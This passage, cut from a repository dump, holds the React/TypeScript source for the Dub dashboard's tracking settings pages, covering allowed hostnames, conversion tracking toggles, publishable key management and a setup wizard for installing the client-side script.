/>\n      </div>\n    </Modal>\n  );\n};\n\nexport function useAddHostnameModal() {\n  const [showAddHostnameModal, setShowAddHostnameModal] = useState(false);\n\n  const AddHostnameModalCallback = useCallback(() => {\n    return (\n      <AddHostnameModal\n        showModal={showAddHostnameModal}\n        setShowModal={setShowAddHostnameModal}\n      />\n    );\n  }, [showAddHostnameModal, setShowAddHostnameModal]);\n\n  return useMemo(\n    () => ({\n      setShowAddHostnameModal,\n      AddHostnameModal: AddHostnameModalCallback,\n    }),\n    [setShowAddHostnameModal, AddHostnameModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/tracking/base-script-section.tsx",
    "content": "\"use client\";\n\nimport { LockSmall, Switch } from \"@dub/ui\";\nimport { useId } from \"react\";\nimport { HostnameSection } from \"./hostname-section\";\n\nexport function BaseScriptSection() {\n  const id = useId();\n\n  return (\n    <div className=\"flex flex-1 flex-col rounded-lg border border-neutral-200 bg-neutral-50\">\n      <div className=\"flex items-center justify-between gap-4 p-3\">\n        <div className=\"flex min-w-0 items-center gap-4\">\n          <div className=\"overflow-hidden\">\n            <label\n              htmlFor={`${id}-switch`}\n              className=\"text-content-emphasis block text-sm font-semibold\"\n            >\n              Base script\n            </label>\n            <p className=\"text-content-subtle text-sm font-medium\">\n              For basic cookie-management and{\" \"}\n              <a\n                href=\"https://dub.co/docs/sdks/client-side/features/click-tracking\"\n                target=\"_blank\"\n                rel=\"noopener noreferrer\"\n                className=\"cursor-help text-neutral-800 underline decoration-dotted underline-offset-2\"\n              >\n                client-side click tracking\n              </a>\n              .\n            </p>\n          </div>\n        </div>\n\n        <Switch\n          disabledTooltip=\"Required for all Dub tracking\"\n          disabled\n          checked={true}\n          trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20 w-7 h-4\"\n          thumbDimensions=\"size-3\"\n          thumbTranslate=\"translate-x-3\"\n          thumbIcon={\n            <div className=\"flex size-full items-center justify-center\">\n              <LockSmall className=\"size-[8px] text-black\" />\n            </div>\n          }\n        />\n      </div>\n\n      <HostnameSection className=\"border-t border-neutral-200\" />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/tracking/complete-step-button.tsx",
    "content": "import { Button } from \"@dub/ui\";\n\nexport const CompleteStepButton = ({\n  onClick,\n  loading,\n}: {\n  onClick: () => void;\n  loading?: boolean;\n}) => {\n  return (\n    <Button text=\"Mark step as complete\" loading={loading} onClick={onClick} />\n  );\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/tracking/connection-instructions.tsx",
    "content": "\"use client\";\n\nimport { GuideActionButton } from \"@/ui/guides/guide-action-button\";\nimport { GuideSelector } from \"@/ui/guides/guide-selector\";\nimport { guides as allGuides } from \"@/ui/guides/integrations\";\nimport { GuidesMarkdown } from \"@/ui/guides/markdown\";\nimport { useDynamicGuide } from \"./use-dynamic-guide\";\nimport { useSelectedGuide } from \"./use-selected-guide\";\n\nexport function ConnectionInstructions() {\n  const guides = allGuides.filter((guide) => guide.type === \"client-sdk\");\n  const { selectedGuide, setSelectedGuide } = useSelectedGuide({ guides });\n\n  const { loading, guideMarkdown } = useDynamicGuide({\n    guide: selectedGuide.key,\n  });\n\n  let button: React.ReactNode;\n  let content: React.ReactNode;\n\n  if (loading) {\n    content = (\n      <div className=\"space-y-4\">\n        <div className=\"h-6 w-1/2 animate-pulse rounded bg-neutral-200\" />\n        <div className=\"h-4 w-full animate-pulse rounded bg-neutral-100\" />\n        <div className=\"h-4 w-5/6 animate-pulse rounded bg-neutral-100\" />\n        <div className=\"h-4 w-2/3 animate-pulse rounded bg-neutral-100\" />\n      </div>\n    );\n    button = (\n      <div className=\"h-8 w-24 animate-pulse rounded-md bg-neutral-200\" />\n    );\n  } else if (guideMarkdown) {\n    content = <GuidesMarkdown>{guideMarkdown}</GuidesMarkdown>;\n    button = (\n      <GuideActionButton guide={selectedGuide} markdown={guideMarkdown} />\n    );\n  } else {\n    content = (\n      <div className=\"text-content-subtle flex size-full items-center justify-center text-sm\">\n        Failed to load guide\n      </div>\n    );\n  }\n\n  return (\n    <div className=\"overflow-hidden rounded-xl border border-neutral-200 bg-neutral-50\">\n      <div className=\"flex items-center justify-between p-3\">\n        <GuideSelector\n          value={selectedGuide}\n          onChange={setSelectedGuide}\n          guides={guides}\n          className=\"-my-1 -ml-1\"\n        />\n\n        {button}\n      </div>\n\n      <div className=\"max-w-full rounded-t-xl border-t border-neutral-200 bg-white p-5\">\n        <div className=\"mx-auto max-w-2xl\">{content}</div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/tracking/conversion-tracking-section.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useWorkspaceStore } from \"@/lib/swr/use-workspace-store\";\nimport { LockSmall, Switch } from \"@dub/ui\";\nimport { motion } from \"motion/react\";\nimport { useEffect, useId } from \"react\";\nimport { PublishableKeyForm } from \"./publishable-key-form\";\n\nexport function ConversionTrackingSection() {\n  const id = useId();\n\n  const { role, publishableKey } = useWorkspace();\n\n  const permissionsError = clientAccessCheck({\n    action: \"workspaces.write\",\n    role,\n    customPermissionDescription: \"manage conversion tracking settings\",\n  }).error;\n\n  const [enabled, setEnabled, { loading }] = useWorkspaceStore<boolean>(\n    \"analyticsSettingsConversionTrackingEnabled\",\n    {\n      mutateOnSet: true,\n    },\n  );\n\n  // Default to enabled if the workspace already has a publishable key\n  useEffect(() => {\n    if (publishableKey && enabled === undefined) setEnabled(true);\n  }, [publishableKey, enabled]);\n\n  return (\n    <div className=\"flex flex-1 flex-col rounded-lg border border-neutral-200 bg-neutral-50\">\n      <div className=\"flex items-center justify-between gap-4 p-3\">\n        <div className=\"flex min-w-0 items-center gap-4\">\n          <div className=\"overflow-hidden\">\n            <label\n              htmlFor={`${id}-switch`}\n              className=\"text-content-emphasis block text-sm font-semibold\"\n            >\n              Conversion tracking\n            </label>\n            <p className=\"text-content-subtle text-sm font-medium\">\n              For client-side conversion tracking.{\" \"}\n              <a\n                href=\"https://dub.co/docs/conversions/quickstart\"\n                target=\"_blank\"\n                rel=\"noopener noreferrer\"\n                className=\"cursor-help text-neutral-800 underline decoration-dotted underline-offset-2\"\n              >\n                Learn more\n              </a>\n              .\n            </p>\n          </div>\n        </div>\n\n        <Switch\n          disabled={loading}\n          checked={enabled || false}\n          trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20 w-7 h-4\"\n          thumbDimensions=\"size-3\"\n          thumbTranslate=\"translate-x-3\"\n          fn={setEnabled}\n          {...(publishableKey || permissionsError\n            ? {\n                disabledTooltip:\n                  permissionsError ||\n                  \"You need to revoke your current publishable key first before disabling conversion tracking.\",\n                thumbIcon: (\n                  <div className=\"flex size-full items-center justify-center\">\n                    <LockSmall className=\"size-[8px] text-black\" />\n                  </div>\n                ),\n              }\n            : {})}\n        />\n      </div>\n\n      <motion.div\n        animate={{\n          height: enabled ? \"auto\" : 0,\n          overflow: \"hidden\",\n        }}\n        transition={{\n          duration: 0.15,\n        }}\n        initial={false}\n      >\n        <PublishableKeyForm className=\"border-t border-neutral-200\" />\n      </motion.div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/tracking/conversion-tracking-toggle.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  CrownSmall,\n  Switch,\n  Tooltip,\n  TooltipContent,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useEffect, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\n\nexport function ConversionTrackingToggle() {\n  const {\n    slug: workspaceSlug,\n    plan,\n    role,\n    conversionEnabled: workspaceConversionEnabled,\n  } = useWorkspace();\n\n  const permissionsError = clientAccessCheck({\n    action: \"workspaces.write\",\n    role,\n    customPermissionDescription:\n      \"manage workspace-level conversion tracking settings\",\n  }).error;\n\n  const [conversionEnabled, setConversionEnabled] = useState(\n    workspaceConversionEnabled,\n  );\n  const [isSubmitting, setIsSubmitting] = useState(false);\n\n  useEffect(() => {\n    setConversionEnabled(workspaceConversionEnabled);\n  }, [workspaceConversionEnabled]);\n\n  const handleConversionUpdate = async (checked: boolean) => {\n    const oldConversionEnabled = conversionEnabled;\n    setConversionEnabled(checked);\n    setIsSubmitting(true);\n\n    try {\n      const res = await fetch(`/api/workspaces/${workspaceSlug}`, {\n        method: \"PATCH\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n        body: JSON.stringify({ conversionEnabled: checked }),\n      });\n\n      if (res.ok) {\n        toast.success(\n          `Workspace-level conversion tracking ${checked ? \"enabled\" : \"disabled\"}.`,\n        );\n        await mutate(`/api/workspaces/${workspaceSlug}`);\n      } else {\n        const { error } = await res.json();\n        toast.error(error.message);\n        setConversionEnabled(oldConversionEnabled);\n      }\n    } catch (error) {\n      toast.error(\"Failed to update conversion tracking\");\n      setConversionEnabled(oldConversionEnabled);\n    } finally {\n      setIsSubmitting(false);\n    }\n  };\n\n  const { canTrackConversions } = getPlanCapabilities(plan);\n\n  const { isMobile } = useMediaQuery();\n\n  if (isMobile) return null;\n\n  return (\n    <Tooltip\n      content={\n        !canTrackConversions ? (\n          <TooltipContent\n            title=\"You can only enable conversion tracking on Business plans and above.\"\n            cta=\"Upgrade to Business\"\n            href={`/${workspaceSlug}/upgrade`}\n          />\n        ) : (\n          permissionsError || (\n            <p className=\"text-content-default max-w-xs p-3 text-xs\">\n              <strong className=\"font-semibold\">\n                Workspace-level conversion tracking is{\" \"}\n                {conversionEnabled ? \"on\" : \"off\"}\n              </strong>{\" \"}\n              - This enables conversion tracking for all future links created\n              via the link builder.\n            </p>\n          )\n        )\n      }\n      align=\"end\"\n    >\n      <label\n        className={cn(\n          \"bg-bg-subtle text-content-default border-border-subtle flex h-9 cursor-pointer items-center gap-2 rounded-lg border px-3\",\n          \"transition-colors duration-100 ease-out\",\n          conversionEnabled &&\n            \"bg-bg-inverted text-content-inverted border-bg-inverted\",\n          (!canTrackConversions || permissionsError) &&\n            \"cursor-not-allowed opacity-50\",\n        )}\n      >\n        <span className=\"text-sm font-medium\">Conversion tracking</span>\n        <Switch\n          checked={conversionEnabled}\n          disabled={isSubmitting || !canTrackConversions || !!permissionsError}\n          fn={handleConversionUpdate}\n          trackDimensions=\"radix-state-checked:bg-neutral-600 focus-visible:ring-black/20\"\n          thumbIcon={\n            !canTrackConversions ? (\n              <CrownSmall className=\"size-full text-neutral-500\" />\n            ) : undefined\n          }\n        />\n      </label>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/tracking/guide.tsx",
    "content": "\"use client\";\n\nimport { GuidesMarkdown } from \"@/ui/guides/markdown\";\nimport { use } from \"react\";\n\nexport default function GuideMarkdown({\n  guideMarkdown,\n}: {\n  guideMarkdown: Promise<string | null>;\n}) {\n  const guide = use(guideMarkdown);\n\n  if (!guide) {\n    return null;\n  }\n\n  return <GuidesMarkdown>{guide}</GuidesMarkdown>;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/tracking/hostname-menu.tsx",
    "content": "import { ThreeDots } from \"@/ui/shared/icons\";\nimport { Button, LoadingSpinner, Popover } from \"@dub/ui\";\nimport { Delete } from \"lucide-react\";\nimport { useState } from \"react\";\n\nfunction HostnameMenu({\n  onDelete,\n  loading,\n}: {\n  onDelete: () => void;\n  loading: boolean;\n  permissionsError?: string;\n}) {\n  const [openPopover, setOpenPopover] = useState(false);\n\n  return (\n    <Popover\n      content={\n        <div className=\"w-full sm:w-48\">\n          <div className=\"grid gap-px p-2\">\n            <Button\n              text=\"Delete\"\n              variant=\"danger-outline\"\n              onClick={() => {\n                setOpenPopover(false);\n                onDelete();\n              }}\n              icon={<Delete className=\"h-4 w-4\" />}\n              className=\"h-9 justify-start px-2 font-medium\"\n            />\n          </div>\n        </div>\n      }\n      align=\"end\"\n      openPopover={openPopover}\n      setOpenPopover={setOpenPopover}\n    >\n      <Button\n        variant=\"plain\"\n        color=\"secondary\"\n        className=\"h-9 border-none p-2\"\n        icon={\n          loading ? (\n            <LoadingSpinner className=\"size-4 shrink-0\" />\n          ) : (\n            <ThreeDots className=\"h-5 w-5 shrink-0 rotate-90\" />\n          )\n        }\n        onClick={() => {\n          setOpenPopover(!openPopover);\n        }}\n      />\n    </Popover>\n  );\n}\n\nexport default HostnameMenu;\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/tracking/hostname-section.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useConfirmModal } from \"@/ui/modals/confirm-modal\";\nimport { Button, CardList, Globe, InfoTooltip } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { useAddHostnameModal } from \"./add-hostname-modal\";\nimport HostnameMenu from \"./hostname-menu\";\n\nexport const HostnameSection = ({ className }: { className?: string }) => {\n  const { AddHostnameModal, setShowAddHostnameModal } = useAddHostnameModal();\n  const { role, allowedHostnames, loading } = useWorkspace();\n\n  const permissionsError = clientAccessCheck({\n    action: \"workspaces.write\",\n    role,\n    customPermissionDescription: \"manage allowed hostnames\",\n  }).error;\n\n  let content;\n\n  if (allowedHostnames && allowedHostnames.length > 0) {\n    content = (\n      <div className=\"grid grid-cols-1 gap-2\">\n        <CardList variant=\"compact\" loading={loading}>\n          {allowedHostnames?.map((hostname) => (\n            <HostnameCard key={hostname} hostname={hostname} />\n          ))}\n        </CardList>\n      </div>\n    );\n  } else {\n    content = (\n      <div className=\"flex items-center justify-center rounded-xl border border-neutral-200 bg-neutral-100 p-3\">\n        <p className=\"text-content-subtle text-sm font-medium\">\n          No hostnames added\n        </p>\n      </div>\n    );\n  }\n\n  return (\n    <>\n      <div className={cn(\"flex flex-col gap-2 p-3\", className)}>\n        <div className=\"flex items-center justify-between\">\n          <div className=\"flex items-center gap-1\">\n            <h2 className=\"text-content-emphasis flex-1 text-sm font-semibold\">\n              Allowed hostnames\n            </h2>\n            <InfoTooltip content=\"Allowlist domains that you want to allow client-side click tracking on.\" />\n          </div>\n\n          <Button\n            text=\"Add hostname\"\n            className=\"h-7 w-fit rounded-lg px-2.5 py-1 text-sm font-medium\"\n            onClick={() => setShowAddHostnameModal(true)}\n            disabledTooltip={permissionsError || undefined}\n          />\n        </div>\n\n        {content}\n      </div>\n\n      <AddHostnameModal />\n    </>\n  );\n};\n\nconst HostnameCard = ({ hostname }: { hostname: string }) => {\n  const { id, allowedHostnames, mutate, role } = useWorkspace();\n  const [processing, setProcessing] = useState(false);\n\n  const { allowed: canWriteWorkspaces } = clientAccessCheck({\n    action: \"workspaces.write\",\n    role,\n    customPermissionDescription: \"delete hostnames\",\n  });\n\n  const handleDeleteHostname = async () => {\n    setProcessing(true);\n\n    const response = await fetch(`/api/workspaces/${id}`, {\n      method: \"PATCH\",\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n      body: JSON.stringify({\n        allowedHostnames: allowedHostnames?.filter((h) => h !== hostname),\n      }),\n    });\n\n    if (response.ok) {\n      toast.success(\"Hostname deleted.\");\n    } else {\n      const { error } = await response.json();\n      toast.error(error.message);\n    }\n\n    mutate();\n    setProcessing(false);\n  };\n\n  const { setShowConfirmModal, confirmModal } = useConfirmModal({\n    title: \"Delete Hostname\",\n    description: `Are you sure you want to delete \"${hostname}\"? This action cannot be undone.`,\n    confirmText: \"Delete Hostname\",\n    onConfirm: handleDeleteHostname,\n  });\n\n  return (\n    <CardList.Card\n      key={hostname}\n      innerClassName={cn(\n        \"flex items-center justify-between gap-5 sm:gap-8 md:gap-12 text-sm transition-opacity\",\n        processing && \"opacity-50\",\n      )}\n      hoverStateEnabled={false}\n    >\n      <div className=\"flex min-w-0 grow items-center gap-3\">\n        <div className=\"flex size-[28px] items-center justify-center rounded-md bg-neutral-100\">\n          <Globe className=\"size-4 text-neutral-800\" />\n        </div>\n\n        <span className=\"min-w-0 truncate whitespace-nowrap font-medium text-neutral-800\">\n          {hostname}\n        </span>\n      </div>\n\n      <div className=\"flex items-center gap-5 sm:gap-8 md:gap-12\">\n        {canWriteWorkspaces && (\n          <HostnameMenu\n            onDelete={() => setShowConfirmModal(true)}\n            loading={processing}\n          />\n        )}\n      </div>\n      {confirmModal}\n    </CardList.Card>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/tracking/outbound-domain-tracking-section.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useWorkspaceStore } from \"@/lib/swr/use-workspace-store\";\nimport { LockSmall, Switch } from \"@dub/ui\";\nimport { useId } from \"react\";\n\nexport function OutboundDomainTrackingSection() {\n  const id = useId();\n  const { role } = useWorkspace();\n\n  const [enabled, setEnabled, { loading }] = useWorkspaceStore<boolean>(\n    \"analyticsSettingsOutboundDomainTrackingEnabled\",\n    {\n      mutateOnSet: true,\n    },\n  );\n\n  const permissionsError = clientAccessCheck({\n    action: \"workspaces.write\",\n    role,\n    customPermissionDescription: \"manage outbound domain tracking\",\n  }).error;\n\n  return (\n    <div className=\"flex flex-1 flex-col rounded-lg border border-neutral-200 bg-neutral-50\">\n      <div className=\"flex items-center justify-between gap-4 p-3\">\n        <div className=\"flex min-w-0 items-center gap-4\">\n          <div className=\"overflow-hidden\">\n            <label\n              htmlFor={`${id}-switch`}\n              className=\"text-content-emphasis block text-sm font-semibold\"\n            >\n              Outbound domain tracking\n            </label>\n            <p className=\"text-content-subtle text-sm font-medium\">\n              Track outbound clicks to your other domains.{\" \"}\n              <a\n                href=\"https://dub.co/docs/sdks/client-side/features/cross-domain-tracking#cross-domain-tracking\"\n                target=\"_blank\"\n                rel=\"noopener noreferrer\"\n                className=\"cursor-help text-neutral-800 underline decoration-dotted underline-offset-2\"\n              >\n                Learn more\n              </a>\n            </p>\n          </div>\n        </div>\n\n        <Switch\n          disabled={loading}\n          {...(permissionsError\n            ? {\n                disabledTooltip: permissionsError,\n                thumbIcon: (\n                  <div className=\"flex size-full items-center justify-center\">\n                    <LockSmall className=\"size-[8px] text-black\" />\n                  </div>\n                ),\n              }\n            : {})}\n          checked={enabled || false}\n          trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20 w-7 h-4\"\n          thumbDimensions=\"size-3\"\n          thumbTranslate=\"translate-x-3\"\n          fn={setEnabled}\n        />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/tracking/page-client.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useWorkspaceStore } from \"@/lib/swr/use-workspace-store\";\nimport { AnimatedSizeContainer, useRouterStuff } from \"@dub/ui\";\nimport { BaseScriptSection } from \"./base-script-section\";\nimport { CompleteStepButton } from \"./complete-step-button\";\nimport { ConnectionInstructions } from \"./connection-instructions\";\nimport { ConversionTrackingSection } from \"./conversion-tracking-section\";\nimport { OutboundDomainTrackingSection } from \"./outbound-domain-tracking-section\";\nimport { SiteVisitTrackingSection } from \"./site-visit-tracking-section\";\nimport Step, { BaseStepProps, type Step as StepType } from \"./step\";\nimport { TrackLeadsGuidesSection } from \"./track-lead-guides-section\";\nimport { TrackSalesGuidesSection } from \"./track-sales-guides-section\";\n\nconst ConnectStep = ({\n  expanded,\n  toggleExpanded,\n  onComplete,\n}: BaseStepProps & { onComplete: () => void }) => {\n  const { flags } = useWorkspace();\n\n  const { searchParams } = useRouterStuff();\n  const guide = searchParams.get(\"guide\");\n\n  const [complete, markComplete, { loading }] = useWorkspaceStore<boolean>(\n    \"analyticsSettingsConnectionSetupComplete\",\n  );\n\n  return (\n    <Step\n      id=\"connect\"\n      step={1}\n      title=\"Install the Dub client-side script\"\n      subtitle=\"Generate and install the Dub client-side script to start tracking conversions.\"\n      expanded={expanded}\n      toggleExpanded={toggleExpanded}\n      complete={complete}\n    >\n      <AnimatedSizeContainer height>\n        {guide !== \"shopify\" && (\n          <div className=\"grid gap-3 pb-8\">\n            <BaseScriptSection />\n\n            <ConversionTrackingSection />\n\n            {flags?.analyticsSettingsSiteVisitTracking && (\n              <SiteVisitTrackingSection />\n            )}\n\n            <OutboundDomainTrackingSection />\n          </div>\n        )}\n      </AnimatedSizeContainer>\n\n      <ConnectionInstructions />\n\n      {!complete && (\n        <div className=\"mt-5\">\n          <CompleteStepButton\n            onClick={() => {\n              markComplete(true);\n              onComplete();\n            }}\n            loading={loading}\n          />\n        </div>\n      )}\n      {/* <VerifyInstall /> */}\n    </Step>\n  );\n};\n\nconst LeadEventsStep = ({\n  expanded,\n  toggleExpanded,\n  onComplete,\n}: BaseStepProps & { onComplete: () => void }) => {\n  const [complete, markComplete, { loading }] = useWorkspaceStore<boolean>(\n    \"analyticsSettingsLeadTrackingSetupComplete\",\n  );\n\n  return (\n    <Step\n      id=\"lead\"\n      step={2}\n      title=\"Track lead events\"\n      subtitle=\"For lead events from your server using our server side SDKs or the REST API\"\n      expanded={expanded}\n      toggleExpanded={toggleExpanded}\n      complete={complete}\n      contentClassName=\"grid gap-5\"\n    >\n      <TrackLeadsGuidesSection />\n\n      {!complete && (\n        <CompleteStepButton\n          onClick={() => {\n            markComplete(true);\n            onComplete();\n          }}\n          loading={loading}\n        />\n      )}\n    </Step>\n  );\n};\n\nconst SaleEventsStep = ({\n  expanded,\n  toggleExpanded,\n  onComplete,\n}: BaseStepProps & { onComplete: () => void }) => {\n  const [complete, markComplete, { loading }] = useWorkspaceStore<boolean>(\n    \"analyticsSettingsSaleTrackingSetupComplete\",\n  );\n\n  return (\n    <Step\n      id=\"sale\"\n      step={3}\n      title=\"Track sale events\"\n      subtitle=\"For tracking purchases using our Stripe integration or our server side SDKs\"\n      expanded={expanded}\n      toggleExpanded={toggleExpanded}\n      complete={complete}\n      contentClassName=\"grid gap-5\"\n    >\n      <TrackSalesGuidesSection />\n\n      {!complete && (\n        <CompleteStepButton\n          onClick={() => {\n            markComplete(true);\n            onComplete();\n          }}\n          loading={loading}\n        />\n      )}\n    </Step>\n  );\n};\n\nexport function WorkspaceTrackingSettingsPageClient() {\n  const { searchParams, queryParams } = useRouterStuff();\n  const expandedStep = (searchParams.get(\"step\") as StepType) || \"connect\";\n\n  const toggleStep = (step: StepType) => {\n    if (expandedStep === step) {\n      queryParams({\n        del: [\"step\", \"guide\"],\n        scroll: false,\n      });\n    } else {\n      queryParams({\n        del: \"guide\",\n        set: {\n          step,\n        },\n        scroll: false,\n      });\n    }\n  };\n\n  const closeStep = (step: StepType) => {\n    if (expandedStep === step) {\n      queryParams({\n        del: [\"step\", \"guide\"],\n        scroll: false,\n      });\n    }\n  };\n\n  return (\n    <div className=\"flex flex-1 flex-col gap-8 overflow-hidden\">\n      <ConnectStep\n        expanded={expandedStep === \"connect\"}\n        toggleExpanded={() => toggleStep(\"connect\")}\n        onComplete={() => closeStep(\"connect\")}\n      />\n      <LeadEventsStep\n        expanded={expandedStep === \"lead\"}\n        toggleExpanded={() => toggleStep(\"lead\")}\n        onComplete={() => closeStep(\"lead\")}\n      />\n      <SaleEventsStep\n        expanded={expandedStep === \"sale\"}\n        toggleExpanded={() => toggleStep(\"sale\")}\n        onComplete={() => closeStep(\"sale\")}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/tracking/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { Suspense } from \"react\";\nimport { ConversionTrackingToggle } from \"./conversion-tracking-toggle\";\nimport { WorkspaceTrackingSettingsPageClient } from \"./page-client\";\n\nexport default function WorkspaceTrackingSettingsPage() {\n  return (\n    <PageContent\n      title=\"Tracking\"\n      titleInfo={{\n        title:\n          \"Configure and install Dub's tracking scripts and start tracking conversions on your website and web applications.\",\n        href: \"https://dub.co/docs/concepts/attribution\",\n      }}\n      controls={<ConversionTrackingToggle />}\n    >\n      <PageWidthWrapper className=\"max-w-[800px] pb-20\">\n        <Suspense>\n          <WorkspaceTrackingSettingsPageClient />\n        </Suspense>\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/tracking/publishable-key-form.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useConfirmModal } from \"@/ui/modals/confirm-modal\";\nimport { Button, CopyButton, InfoTooltip, Key } from \"@dub/ui\";\nimport { cn, nanoid } from \"@dub/utils\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\nimport PublishableKeyMenu from \"./publishable-key-menu\";\n\nexport const PublishableKeyForm = ({ className }: { className?: string }) => {\n  const { id, publishableKey, mutate, role } = useWorkspace();\n  const [processing, setProcessing] = useState(false);\n\n  const { error: permissionsError } = clientAccessCheck({\n    action: \"workspaces.write\",\n    role,\n    customPermissionDescription: \"manage publishable keys\",\n  });\n\n  const handleGenerateKey = async () => {\n    setProcessing(true);\n\n    const newPublishableKey = `dub_pk_${nanoid(24)}`;\n\n    const response = await fetch(`/api/workspaces/${id}`, {\n      method: \"PATCH\",\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n      body: JSON.stringify({\n        publishableKey: newPublishableKey,\n      }),\n    });\n\n    if (response.ok) {\n      toast.success(\"Publishable key generated successfully.\");\n    } else {\n      const { error } = await response.json();\n      toast.error(error.message);\n    }\n\n    mutate();\n    setProcessing(false);\n  };\n\n  const handleRevokeKey = async () => {\n    setProcessing(true);\n\n    const response = await fetch(`/api/workspaces/${id}`, {\n      method: \"PATCH\",\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n      body: JSON.stringify({\n        publishableKey: null,\n      }),\n    });\n\n    if (response.ok) {\n      toast.success(\"Publishable key revoked successfully.\");\n    } else {\n      const { error } = await response.json();\n      toast.error(error.message);\n    }\n\n    mutate();\n    setProcessing(false);\n  };\n\n  const {\n    setShowConfirmModal: setShowGenerateModal,\n    confirmModal: generateModal,\n  } = useConfirmModal({\n    title: \"Generate New Publishable Key\",\n    description: `Are you sure you want to generate a new publishable key? ${publishableKey ? \"This will invalidate the existing key.\" : \"This key will provide access to your workspace's conversion tracking endpoints.\"}`,\n    confirmText: \"Generate Key\",\n    onConfirm: handleGenerateKey,\n  });\n\n  const { setShowConfirmModal: setShowRevokeModal, confirmModal: revokeModal } =\n    useConfirmModal({\n      title: \"Revoke Publishable Key\",\n      description:\n        \"Are you sure you want to revoke the publishable key? This action cannot be undone.\",\n      confirmText: \"Revoke Key\",\n      onConfirm: handleRevokeKey,\n    });\n\n  return (\n    <div className={cn(\"flex flex-col gap-2 p-3\", className)}>\n      <div className=\"flex flex-col gap-4 sm:flex-row sm:items-center sm:justify-between\">\n        <div className=\"flex items-center gap-1\">\n          <h2 className=\"text-content-emphasis flex-1 text-sm font-semibold\">\n            Publishable key\n          </h2>\n          <InfoTooltip content=\"For authenticating requests when tracking conversion events on the client-side. [Learn more.](https://dub.co/docs/api-reference/publishable-keys)\" />\n        </div>\n\n        {!publishableKey && (\n          <Button\n            text=\"Generate\"\n            className=\"h-7 w-fit rounded-lg px-2.5 py-1 text-sm font-medium\"\n            onClick={() => setShowGenerateModal(true)}\n            loading={processing}\n            disabledTooltip={permissionsError || undefined}\n          />\n        )}\n      </div>\n\n      {publishableKey ? (\n        <div className=\"flex flex-col gap-3 rounded-xl border border-neutral-200 bg-white p-3 sm:flex-row sm:items-center sm:justify-between sm:gap-2\">\n          <div className=\"flex min-w-0 items-center gap-2\">\n            <div className=\"flex min-w-0 items-center gap-4\">\n              <div className=\"flex size-[28px] items-center justify-center rounded-md bg-neutral-100\">\n                <Key className=\"size-4 text-neutral-800\" />\n              </div>\n              <code className=\"min-w-0 flex-1 truncate font-mono text-sm text-neutral-800\">\n                {publishableKey}\n              </code>\n            </div>\n            <CopyButton value={publishableKey} className=\"shrink-0\" />\n          </div>\n          <div className=\"flex w-fit items-center gap-2 sm:shrink-0\">\n            <Button\n              text=\"Regenerate\"\n              variant=\"secondary\"\n              onClick={() => setShowGenerateModal(true)}\n              loading={processing}\n              disabledTooltip={permissionsError || undefined}\n              className=\"h-7 w-fit flex-1 px-2 text-xs sm:flex-none\"\n            />\n            <PublishableKeyMenu\n              onRevoke={() => setShowRevokeModal(true)}\n              loading={processing}\n            />\n          </div>\n        </div>\n      ) : (\n        <div className=\"flex items-center justify-center rounded-xl border border-neutral-200 bg-neutral-100 p-3\">\n          <p className=\"text-content-subtle text-sm font-medium\">\n            No publishable key created\n          </p>\n        </div>\n      )}\n      {generateModal}\n      {revokeModal}\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/tracking/publishable-key-menu.tsx",
